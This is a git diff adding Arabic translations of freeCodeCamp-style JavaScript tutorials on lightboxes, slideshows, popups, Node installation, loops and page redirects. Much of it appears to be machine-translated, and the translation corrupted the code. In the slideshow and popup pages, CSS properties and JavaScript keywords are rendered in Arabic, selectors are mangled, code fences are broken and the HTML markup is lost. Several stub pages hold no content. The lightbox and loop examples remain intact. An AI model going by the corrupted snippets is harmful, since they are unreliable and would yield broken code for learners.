+  for (let i = 0; i < slides.length; i++) { 
+    slides[i].style.display = "none"; 
+  }; 
+ 
+  for (let i = 0; i < modalPreviews.length; i++) { 
+    modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+  }; 
+ 
+  slides[slideIndex - 1].style.display = 'block'; 
+  modalPreviews[slideIndex - 1].className += ' active'; 
+ }; 
+` 
+
+وهذا كل شيء! الآن ضع كل الكود معا. يجب أن يكون لديك الآن lightbox وظيفية.
+
+### كل المدونة
+
+ `
+<body> 
+  <style> 
+    html { 
+      box-sizing: border-box; 
+    } 
+ 
+    *, *:before, *:after { 
+      box-sizing: inherit; 
+    } 
+ 
+    body { 
+      margin: 0; 
+    } 
+ 
+    .preview { 
+      width: 100%; 
+    } 
+ 
+    .row { 
+      display: flex; 
+      flex-direction: row; 
+      justify-content: space-between; 
+    } 
+ 
+    .row > .col { 
+      padding: 0 8px; 
+    } 
+ 
+    .col { 
+      float: left; 
+      width: 25%; 
+    } 
+ 
+    .modal { 
+      display: none; 
+      position: fixed; 
+      z-index: 1; 
+      padding: 10px 62px 0px 62px; 
+      left: 0; 
+      top: 0; 
+      width: 100%; 
+      height: 100%; 
+      overflow: auto; 
+      background-color: black; 
+    } 
+ 
+    .modal-content { 
+      position: relative; 
+      display: flex; 
+      flex-direction: column; 
+      justify-content: center; 
+      margin: auto; 
+      padding: 0 0 0 0; 
+      width: 80%; 
+      max-width: 1200px; 
+    } 
+ 
+    .slide { 
+      display: none; 
+    } 
+ 
+    .image-slide { 
+        width: 100%; 
+    } 
+ 
+    .modal-preview { 
+        width: 100%; 
+    } 
+ 
+    .dots { 
+        display: flex; 
+        flex-direction: row; 
+        justify-content: space-between; 
+    } 
+ 
+    img.preview, img.modal-preview { 
+      opacity: 0.6; 
+    } 
+ 
+    img.active, 
+    .preview:hover, 
+    .modal-preview:hover { 
+      opacity: 1; 
+    } 
+ 
+    img.hover-shadow { 
+      transition: 0.3s; 
+    } 
+ 
+    .hover-shadow:hover { 
+      box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2), 0 6px 20px 0 rgba(0, 0, 0, 0.19); 
+    } 
+ 
+    .close { 
+      color: white; 
+      position: absolute; 
+      top: 10px; 
+      right: 25px; 
+      font-size: 35px; 
+      font-weight: bold; 
+    } 
+ 
+    .close:hover, 
+    .close:focus { 
+      color: #999; 
+      text-decoration: none; 
+      cursor: pointer; 
+    } 
+ 
+    .previous, 
+    .next { 
+      cursor: pointer; 
+      position: absolute; 
+      top: 50%; 
+      width: auto; 
+      padding: 16px; 
+      margin-top: -50px; 
+      color: white; 
+      font-weight: bold; 
+      font-size: 20px; 
+      transition: 0.6s ease; 
+      border-radius: 0 3px 3px 0; 
+      user-select: none; 
+      -webkit-user-select: none; 
+    } 
+ 
+    .next { 
+      right: 0; 
+      border-radius: 3px 0 0 3px; 
+    } 
+ 
+    .previous:hover, 
+    .next:hover { 
+      background-color: rgba(0, 0, 0, 0.8); 
+    } 
+  </style> 
+  <div class="row"> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" onclick="openLightbox();toSlide(1)" class="hover-shadow preview" alt="Toy car on the road." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" onclick="openLightbox();toSlide(2)" class="hover-shadow preview" alt="Toy car exploring offroad." /> 
+    </div> 
+    <div class="col"> 
+       <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" onclick="openLightbox();toSlide(3)" class="hover-shadow preview" alt="Toy car in the city" /> 
+    </div> 
+  </div> 
+ 
+  <div id="Lightbox" class="modal"> 
+ 
+    <span class="close pointer" onclick="closeLightbox()">&times;</span> 
+    <div class="modal-content"> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="image-slide" alt="Toy car on the road." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="image-slide" alt="Toy car exploring offroad." /> 
+      </div> 
+      <div class="slide"> 
+        <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="image-slide" alt="Toy car in the city." /> 
+      </div> 
+ 
+      <a class="previous" onclick="changeSlide(-1)">&#10094;</a> 
+      <a class="next" onclick="changeSlide(1)">&#10095;</a> 
+ 
+      <div class="dots"> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/385997/pexels-photo-385997.jpeg" class="modal-preview hover-shadow" onclick="toSlide(1)" alt="Toy car on the road." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/574521/pexels-photo-574521.jpeg" class="modal-preview hover-shadow" onclick="toSlide(2)" alt="Toy car exploring offroad." /> 
+        </div> 
+        <div class="col"> 
+          <img src="https://static.pexels.com/photos/386009/pexels-photo-386009.jpeg" class="modal-preview hover-shadow" onclick="toSlide(3)" alt="Toy car in the city" /> 
+        </div> 
+      </div> 
+    </div> 
+  </div> 
+ 
+  <script> 
+    let slideIndex = 1; 
+    showSlide(slideIndex); 
+ 
+    function openLightbox() { 
+      document.getElementById('Lightbox').style.display = 'block'; 
+    }; 
+ 
+    function closeLightbox() { 
+      document.getElementById('Lightbox').style.display = 'none'; 
+    }; 
+ 
+    function changeSlide(n) { 
+      showSlide(slideIndex += n); 
+    }; 
+ 
+    function toSlide(n) { 
+      showSlide(slideIndex = n); 
+    }; 
+ 
+    function showSlide(n) { 
+      const slides = document.getElementsByClassName('slide'); 
+      let modalPreviews = document.getElementsByClassName('modal-preview'); 
+ 
+      if (n > slides.length) { 
+        slideIndex = 1; 
+      }; 
+ 
+      if (n < 1) { 
+        slideIndex = slides.length; 
+      }; 
+ 
+      for (let i = 0; i < slides.length; i++) { 
+        slides[i].style.display = "none"; 
+      }; 
+ 
+      for (let i = 0; i < modalPreviews.length; i++) { 
+        modalPreviews[i].className = modalPreviews[i].className.replace(' active', ''); 
+      }; 
+ 
+      slides[slideIndex - 1].style.display = 'block'; 
+      modalPreviews[slideIndex - 1].className += ' active'; 
+    }; 
+  </script> 
+ </body> 
+` 
+
+## \### معلومات اكثر:
+
+#### HTML
+
+[مشروط](https://en.wikipedia.org/wiki/Modal_window) - نافذة منبثقة
+
+[معالجات الأحداث](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Event_handlers) - خصائص HTML التي تستمع لأحداث المستخدم.
+
+[Entity](https://developer.mozilla.org/en-US/docs/Glossary/Entity) - سلسلة تمثل عارضًا محجوزًا في HTML.
+
+#### CSS
+
+[تحجيم المربعات:](https://css-tricks.com/box-sizing/) - خاصية CSS3 تتحكم في طريقة عرض المستعرض للمحتوى بناءً على الطول والعرض.
+
+[Flex-box](https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox) - تقنية جديدة تساعد في تحديد موقع محتوى HTML في mannor سريع الاستجابة.
+
+[: hover](https://developer.mozilla.org/en-US/docs/Web/CSS/:hover) - A pseudo-selector الذي يتم تشغيله عندما يمرر المستخدم عنصرًا عندما يتم تعيين هذه الفئة إليه.
+
+#### جافا سكريبت
+
+[السماح](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) لمتغير نطاق الكتلة.
+
+[const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const) ثابت نطاق الكتلة.
+
+[getElementById ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById) - أسلوب مستند يقوم بإرجاع مرجع إلى عنصر HTML.
+
+[getElementsByClassName ()](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName) - أسلوب مستند يقوم بإرجاع مصفوفة من المراجع إلى html التي تحتوي على فئات متطابقة.
+
+[\+ =](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators) - عامل تخصيص والذي سيضيف أرقامًا أو يسلسل سلاسل.
+
+#### مصادر:
+
+[مثال حي](https://codepen.io/rdev-rocks/pen/KXNzvo?editors=1111) - CodePen الذي يقدم التعليمة البرمجية المذكورة أعلاه.
+
+[صندوق Flex-Interactive](https://codepen.io/enxaneta/full/adLPwv) - برنامج CodePen تفاعلي يوضح سلوك صندوق المرونة.
+
+[Pexels](https://www.pexels.com/) - معرض للصور المجانية للأوراق المالية.
+
+[MDN](https://developer.mozilla.org/en-US/) - مكان رائع للحصول على معلومات حول عناصر الويب.
+
+[W3School - Lightbox](https://www.w3schools.com/howto/howto_js_lightbox.asp) - استلهم هذا الرمز من هنا. شكرا W3Schools!
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-a-slideshow/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-slideshow/index.md
new file mode 100644
index 0000000000..9bdbcaf768
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-slideshow/index.md
@@ -0,0 +1,60 @@
+---
+title: How to Create a Slideshow
+localeTitle: كيف تصنع عرض الشرائح
+---
+## كيف تصنع عرض الشرائح
+
+عرض الشرائح على الويب عبارة عن سلسلة من الصور أو النصوص التي تظهر في عنصر واحد من هذا التسلسل في فترة زمنية.
+
+بالنسبة إلى هذا البرنامج التعليمي ، يمكنك إنشاء عرض شرائح باتباع الخطوات التالية:
+
+### اكتب ترميز.
+
+\`\` \`أتش تي أم أل   عرض الشرائح  
+
+ `### Write styles to hide slides and show only one slide. 
+ 
+ For hide the slides you have to give them a default style and only show one slide if this is active or you want to show it. 
+` 
+
+المغلق \[data-component = "slideshow"\] .slide { عرض لا شيء؛ }
+
+\[data-component = "slideshow"\] .slide.active { العرض محجوب؛ }
+
+ `### Change the slides in a time interval. 
+ 
+ The first step to change the slides to show, is select the slide wrapper(s) and then its slides. 
+ 
+ When you selected the slides you have to go over each slide and add or remove an active class depending on the slide that you want to show, and then just repeat the process in a time interval. 
+ 
+ Keep it in mind when you remove a active class to a slide, you are hidden it because the styles defined in the previous step. But when you add an active class to the slide, you are overwritring the style ``display:none to display:block`` , so the slide will show to the users. 
+` 
+
+شبيبة var slideshows = document.querySelectorAll ('\[data-component = "slideshow"\] ")؛
+
+// تطبيق على جميع عروض الشرائح التي تحددها مع كتابة العلامات slideshows.forEach (initSlideShow)؛
+
+وظيفة initSlideShow (عرض الشرائح) {
+
+ ``var slides = document.querySelectorAll(`#${slideshow.id} [role="list"] .slide`); // Get an array of slides 
+ 
+ var index = 0, time = 5000; 
+ slides[index].classList.add('active'); 
+ 
+ setInterval( () => { 
+  slides[index].classList.remove('active'); 
+ 
+  //Go over each slide incrementing the index 
+  index++; 
+ 
+  // If you go over all slides, restart the index to show the first slide and start again 
+  if (index === slides.length) index = 0; 
+ 
+  slides[index].classList.add('active'); 
+ 
+ }, time); 
+`` 
+
+} \`\` \`
+
+#### [مثال Codepen بعد هذا البرنامج التعليمي](https://codepen.io/AndresUris/pen/rGXpvE)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
new file mode 100644
index 0000000000..65b8e94a7d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create a Top Navigation Bar
+localeTitle: كيفية إنشاء شريط التنقل العلوي
+---
+## كيفية إنشاء شريط التنقل العلوي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-a-top-navigation-bar/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-an-accordion/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-an-accordion/index.md
new file mode 100644
index 0000000000..9f292e474f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-an-accordion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create an Accordion
+localeTitle: كيف تصنع الأكورديون
+---
+## كيف تصنع الأكورديون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-an-accordion/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-popups/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-popups/index.md
new file mode 100644
index 0000000000..ce9d6793cc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-popups/index.md
@@ -0,0 +1,46 @@
+---
+title: How to Create Popups
+localeTitle: كيفية إنشاء النوافذ المنبثقة
+---
+## كيفية إنشاء النوافذ المنبثقة
+
+النافذة المنبثقة هي نافذة تنبثق (تظهر) عندما تحدد خيارًا باستخدام ماوس أو تضغط على مفتاح وظيفة خاصة.
+
+في هذا المثال ، ستظهر النافذة المنبثقة عندما تضغط على زر وستبقى على الشاشة حتى تضغط على خيار X.
+
+سنقوم بإنشاء النافذة المنبثقة باستخدام `HTML` و `CSS` و `JavaScript`
+
+### الخطوة 1 HTML
+
+يوفر HTML بنية الإطار المنبثق
+
+\`\` \`أتش تي أم أل
+
+افتح The PopUp
+
+منبثق مع JavaScript
+
+X
+
+ `### Step 2 CSS 
+ We will choose our own style for the popup window. Notice: the popup div should be hidden at first, so in the style I will select display: none; 
+` 
+
+المغلق .popup _main_ div { الموقع: ثابت العرض: 800 بكسل ؛ الارتفاع: 400 بكسل ؛ border: 2px solid black؛ border-radius: 5px؛ لون الخلفية: #fff؛ اليسار: 50 ٪. الهامش الأيسر: -400 بكسل ؛ أعلى: 50 ٪ ؛ الهامش العلوي: - 250 بكسل ؛ عرض لا شيء؛
+
+} .close _popup { الموقع: مطلقة العرض: 25 بكسل الارتفاع: 25 بكسل border-radius: 25px؛ border: 2px solid black؛ محاذاة النص: مركز؛ right: 5px؛ العلوي: 5 بكسل ؛ المؤشر: المؤشر. } .close_ popup p { الهامش العلوي: 5 بكسل ؛ الخط الوزن: 400 ؛
+
+} .نص{ محاذاة النص: مركز؛ حجم الخط: 30 بكسل الخط الوزن: 400 ؛ أعلى الهامش: 22٪ ؛ } #Btn { الموقع: مطلقة اليسار: 50 ٪. أفضل 20٪؛
+
+}
+
+ `### Step 3 JavaScript 
+` 
+
+شبيبة // بادئ ذي بدء ، سوف أقوم بتهيئة متغيراتي // اختر العناصر التي سنستخدمها من DOM // أقوم بإضافة حدث en في الزر الذي سيؤدي إلى تشغيل وظيفة من شأنها تغيير نمط العرض المنبثق من لا شيء إلى حظر
+
+const Btn = document.getElementById ("Btn") const PopupDiv = document.querySelector (". divup _main_ div") const ClosePopup = document.querySelector (". close\_popup") Btn.addEventListener ( "فوق"، وظيفة () { PopupDiv.style.display = "كتلة" }) ClosePopup.addEventListener ( "فوق"، وظيفة () { PopupDiv.style.display = "لا شيء" })
+
+\`\` \`
+
+كود العيش في: [Codepen.io](https://codepen.io/voula12/pen/qyyNeK)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-create-tabs/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-create-tabs/index.md
new file mode 100644
index 0000000000..d99eb7940b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-create-tabs/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Create Tabs
+localeTitle: كيفية إنشاء علامات التبويب
+---
+## كيفية إنشاء علامات التبويب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/how-to-create-tabs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md b/client/src/guide/arabic/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
new file mode 100644
index 0000000000..46da190425
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/how-to-install-node-js-and-npm-on-windows/index.md
@@ -0,0 +1,32 @@
+---
+title: How to Install Node Js and Npm on Windows
+localeTitle: كيفية تثبيت عقدة شبيبة و NPM على ويندوز
+---
+## كيفية تثبيت عقدة شبيبة و NPM على ويندوز
+
+تثبيت Node.js و Npm على Windows بسيط جدًا.
+
+أولاً ، قم بتنزيل مثبت Windows من [موقع ويب Node.js.](https://nodejs.org/) سيكون لديك الاختيار بين **LTS** (دعم المدى الطويل) أو الإصدار **الحالي** .
+
+*   يتلقى الإصدار **الحالي** أحدث الميزات والتحديثات بسرعة أكبر
+*   تتميز ميزة **LTS** foregos إصدار التغييرات لتحسين الاستقرار ، ولكنها تتلقى تصحيحات مثل إصلاحات الأخطاء والتحديثات الأمنية
+
+بمجرد اختيار نسخة تلبي احتياجاتك ، قم بتشغيل المثبت. اتبع المطالبات لتحديد مسار التثبيت **وتأكد من** تضمين ميزة **مدير حزم npm** مع **وقت التشغيل Node.js.** يجب أن يكون هذا هو التكوين الافتراضي.
+
+أعد تشغيل الكمبيوتر بعد اكتمال التثبيت.
+
+إذا قمت بتثبيت تحت التكوين الافتراضي ، يجب الآن إضافة Node.js إلى PATH الخاص بك. قم بتشغيل موجه الأوامر أو PowerHell وقم بإدخال ما يلي لاختباره:
+
+ `> node -v 
+` 
+
+يجب أن تستجيب وحدة التحكم مع سلسلة إصدار. كرر العملية لـ Npm:
+
+ `> npm -v 
+` 
+
+إذا كان كلا الأمرين يعملان ، كان التثبيت ناجحًا ، ويمكنك البدء في استخدام Node.js!
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات والأدلة ، يرجى زيارة [صفحة مستندات Node.js.](https://nodejs.org/en/docs/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/increment-a-number-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..fbba49674b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/increment-a-number-with-javascript/index.md
@@ -0,0 +1,15 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: زيادة رقم باستخدام JavaScript
+---
+يمكنك بسهولة زيادة أو إضافة `1` إلى متغير مع عامل التشغيل `++` .
+
+ `i++; 
+` 
+
+هو ما يعادل
+
+ `i = i + 1; 
+` 
+
+**ملاحظة** يصبح السطر بالكامل `i++;` ، مما يلغي الحاجة إلى علامة المساواة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/index.md b/client/src/guide/arabic/javascript/tutorials/index.md
new file mode 100644
index 0000000000..2e23ad3ec5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: دروس
+---
+## دروس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/tutorials/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
new file mode 100644
index 0000000000..bcd31b9056
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/invert-regular-expression-matches-with-javascript/index.md
@@ -0,0 +1,7 @@
+---
+title: Invert Regular Expression Matches with JavaScript
+localeTitle: عكس التعبير العادي مباريات مع جافا سكريبت
+---
+استخدم `/\S/gi` ؛ لمطابقة كل شيء ليس مساحة في السلسلة.
+
+يمكنك عكس أي تطابق باستخدام الإصدار الكبير من selector `\s` مقابل `\S` على سبيل المثال.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-for-loops/index.md b/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..fee564d209
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,26 @@
+---
+title: Iterate with JavaScript for Loops
+localeTitle: تكرّر مع JavaScript لـ Loops
+---
+ويسمى النوع الأكثر شيوعا من جافا سكريبت حلقة ل `for loop` لأنه يعمل `for` عدد معين من المرات.
+
+ `var ourArray = []; 
+ for(var i = 0; i < 5; i++) { 
+  ourArray.push(i); 
+ } 
+` 
+
+سيحتوي ourArray الآن \[0،1،2،3،4\]
+
+## المزيد عن الحلقات
+
+ `for(var i = 0; i < 5; i++) {  // There are 3 parts here 
+` 
+
+هناك ثلاثة أجزاء للحلقة. يتم فصلها بواسطة فواصل منقوطة.
+
+1.  التهيئة: `var i = 0;` - يعمل هذا الرمز مرة واحدة فقط في بداية الحلقة. عادة ما يتم استخدامه لتعريف متغير العداد (مع `var` ) وتهيئة العداد (في هذه الحالة يتم تعيينه إلى 0).
+    
+2.  الشرط: `i < 5;` - سيتم تشغيل الحلقة طالما أن هذا `true` . وهذا يعني أنه بمجرد `i` يساوي 5، وحلقة تتوقف حلقات. لاحظ أن داخل حلقة لن ترى `i` الى 5 لأنها سوف تتوقف قبل ذلك الحين. إذا كان هذا الشرط `false` البداية ، فلن يتم تنفيذ الحلقة أبدًا.
+    
+3.  الزيادة: `i++` - يتم تشغيل هذا الرمز في نهاية كل حلقة. عادة ما تكون الزيادة البسيطة ( `++` operator) ، ولكن يمكن أن يكون أي تحول رياضي. يتم استخدامه لنقل العداد ( `i` ) إلى الأمام (أو إلى الوراء ، أو أيا كان.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-while-loops/index.md b/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..a2d4c858f8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,13 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: تكررت مع جافا سكريبت في حين الحلقات
+---
+هناك نوع آخر من حلقات جافا سكريبت يسمى `while loop` تشغيلها `while` يكون هناك شيء حقيقي ، ويتوقف بمجرد أن يصبح شيء ما غير صحيح.
+
+ `var ourArray = []; 
+ var i = 0; 
+ while(i < 5) { 
+  ourArray.push(i); 
+  i++; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/javascript-for-loops-explained/index.md b/client/src/guide/arabic/javascript/tutorials/javascript-for-loops-explained/index.md
new file mode 100644
index 0000000000..a34ffdf784
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/javascript-for-loops-explained/index.md
@@ -0,0 +1,43 @@
+---
+title: JavaScript for Loops Explained
+localeTitle: جافا سكريبت لحلقات شرحها
+---
+يقوم البيان for بإنشاء حلقة تتكون من ثلاثة تعبيرات اختيارية ، محاطة بأقواس و مفصولة بفواصل منقوطة ، متبوعة ببيان أو مجموعة من العبارات المنفذة في الحلقة.
+
+يحتوي الحلقة for على الصيغة التالية:
+
+ `for (<a href='http://forum.freecodecamp.com/t/javascript-while-loop/14668' target='_blank' rel='nofollow'>initialization]; [condition]; [final-expression]) { 
+    code block to be executed 
+ } 
+` 
+
+يتم تنفيذ \[التهيئة\] قبل بدء الحلقة (كتلة الكود).
+
+يحدد \[الشرط\] شرط تشغيل الحلقة (كتلة التعليمات البرمجية).
+
+يتم تنفيذ \[final-expression\] في كل مرة بعد تنفيذ الحلقة (كتلة الكود).
+
+## مثال في JavaScript:
+
+ `var ourArray = []; 
+ for (var i = 0; i < 5; i++) { 
+    ourArray.push(i); 
+ } 
+` 
+
+من المثال أعلاه ، يمكنك قراءة:
+
+يعيّن \[initialization\] متغيرًا قبل بدء الحلقة (var i = 0).
+
+يحدد \[الشرط\] الشرط لتشغيل العروة (يجب أن أكون أقل من 5).
+
+\[تعبير نهائي\] يزيد قيمة (i ++) في كل مرة يتم فيها تنفيذ كتلة التعليمات البرمجية في الحلقة.
+
+## لماذا نحتاج "للحلقات"؟
+
+للحلقات يتم استخدامها للتكرار خلال كتلة من الكود عددًا معروفًا من المرات. في بعض الأحيان يكون الكمبيوتر هو الذي يعرف عدد المرات ، وليس أنت ، لكنه لا يزال معروفًا.
+
+الخروج بعض المقالات الأخرى لدينا على حلقات:
+
+*   \[حائط اللوب
+*   [لفي حلقة](http://forum.freecodecamp.com/t/javascript-for-in-loop/14665)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/page-redirects-using-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/page-redirects-using-javascript/index.md
new file mode 100644
index 0000000000..dd16d7b455
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/page-redirects-using-javascript/index.md
@@ -0,0 +1,55 @@
+---
+title: Page Redirects Using JavaScript
+localeTitle: صفحة يعيد التوجيه باستخدام جافا سكريبت
+---
+## صفحة يعيد التوجيه باستخدام جافا سكريبت
+
+إذا كنت تحاول إعادة توجيه مستخدم إلى صفحة أخرى ، فيمكنك بسهولة استخدام JavaScript لإنجاز هذه المهمة. من المهم ملاحظة ما يلي:
+
+حتى إذا كانت لديك مكتبة jQuery محملة في نصوصك البرمجية ، فقد ترغب في استخدام حل جافا سكريبت الخالص لعمليات إعادة توجيه الصفحات لأغراض الكفاءة.
+
+هناك عدة طرق مختلفة للقيام بذلك ، ولكن أبسط طريقة هي استخدام الكائن `window.location` لإرسال المستخدم إلى الصفحة التي ترغب في إعادة توجيههم إليها. يمكن أن يستخدم كائن `window.location` أي قيمة URL صالحة مثل `http://www.yoururl.com` ، `somepage.html` ، إلخ.
+
+ `window.location = 'http://www.yoururl.com'; 
+ // window.location = 'somepage.html'; 
+ // etc. 
+` 
+
+### حالة خاصة إعادة توجيه
+
+يمكنك استخدام طريقة خاصة لإعادة التوجيه ، بشكل افتراضي ، تعلق على كائن `window.location` في كل المستعرض الرئيسي المسمى `replace()` . تقبل هذه الطريقة نفس قيم عنوان URL الصالحة بمجرد استخدام `window.location` .
+
+فيما يلي مثال على استخدام هذه الطريقة (ستظل تعمل بنفس طريقة استخدام `window.location` في المتصفحات الأخرى):
+
+ `window.location.replace('http://www.yoururl.com'); 
+ // window.location.replace('somepage.html'); 
+ // etc. 
+` 
+
+### A إعادة توجيه توقيت بسيط باستخدام JS
+
+هنا مثال على إعادة توجيه بسيطة موقوتة باستخدام وظيفة `setTimeout()` . تُعد عمليات إعادة التوجيه المحددة التوقيت مفيدة حتى يمكنك شرحها للمستخدم ، عبر المحتوى الموجود على صفحة إعادة التوجيه ، والسبب في إعادة توجيهها إلى صفحة أخرى.
+
+ `// the 5000 below is 5000 milliseconds which equals 5 seconds until the redirect happens 
+ // keep in mind that 1 second = 1000 milliseconds 
+ setTimeout(function () { 
+    window.location = 'http://www.yoururl.com'; 
+    // window.location = 'somepage.html'; 
+    // etc. 
+ }, 5000); 
+` 
+
+### تراجع
+
+في بعض الأحيان ، يتصفح المستخدمون الإنترنت مع تعطيل جافا سكريبت ، ومن الواضح أن هذا سيسبب مشاكل في حل إعادة التوجيه المعتمد على JS. أوصي بتعيين عنصر `<meta>` الذي سيعمل على تحديث المتصفح بالموقع الجديد. أود تعيين الوقت لهذا العنصر الفوقي ليكون الثاني بعد المفترض أن تتم إعادة توجيه JS. لذلك ، إذا كان لديك إعادة توجيه يحدث في JS بعد 5 ثوانٍ ، `<meta>` إعادة توجيه العنصر `<meta>` على 6 ثوانٍ.
+
+ضع عنصر `<meta>` داخل `<head>` للمستند الخاص بك مثل:
+
+ `
+<head> 
+    <!-- Change the 6 below to however many seconds you wish to wait until redirection to the new page.  Change the portion after "URL=" to the URL of your choice.  This can be a local page: URL=somepage.html, a web address: URL=http://www.yoururl.com, or any other valid URL. It is important to note the semicolon between the number of seconds to refresh and the URL. --> 
+    <meta http-equiv="refresh" content="6;URL=http://www.yoururl.com"> 
+ </head> 
+` 
+
+ضع في اعتبارك أنه ليس كل المتصفحات تدعم العنصر `<meta>` (أنا أبحث عنك ، والإصدارات الأقدم من IE ، و Safari) ، ولكن معظم المتصفحات الحديثة تفعل (Microsoft Edge ، Google Chrome ، Mozilla Firefox ، Opera).
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md b/client/src/guide/arabic/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..48c9a0d408
--- /dev/null
+++ b/client/src/guide/arabic/javascript/tutorials/perform-arithmetic-operations-on-decimals-with-javascript/index.md
@@ -0,0 +1,8 @@
+---
+title: Perform Arithmetic Operations on Decimals with JavaScript
+localeTitle: تنفيذ العمليات الحسابية على الكسور العشرية مع JavaScript
+---
+في JavaScript ، يمكنك إجراء عمليات حسابية بأرقام عشرية ، تمامًا مثل الأرقام الصحيحة.
+
+ `var quotient = 4.4 / 2.0; // equals 2.2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/arabic/javascript/tutorials/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..6279cb4191
--- /dev/null
